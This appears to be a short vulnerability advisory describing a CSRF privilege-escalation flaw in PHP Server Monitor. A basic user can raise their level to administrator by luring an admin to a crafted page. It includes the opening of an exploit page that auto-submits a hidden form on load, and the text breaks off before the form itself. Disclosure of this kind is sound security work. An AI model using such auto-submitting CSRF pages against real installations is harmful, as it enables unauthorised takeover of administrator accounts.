PHP Server Monitor uses level 20 for basic user and level 10 for Admins these are stored in Database. Basic users can elevate thier privileges to that of Administrator
by crafting an HTTP payload changing their level to '10' then getting an Administrator to click an infected link or visit a malicious website to launch an
CSRF attack which will grant the user admin access. This problem is due to no CSRF protection mechanism in place.
Exploit code(s):
===============
1) privilege escalation / CSRF
<!DOCTYPE>
<html>
<body onLoad="doit()">
<script>
function doit(){
var e=document.getElementById('HELL')
e.submit()
}
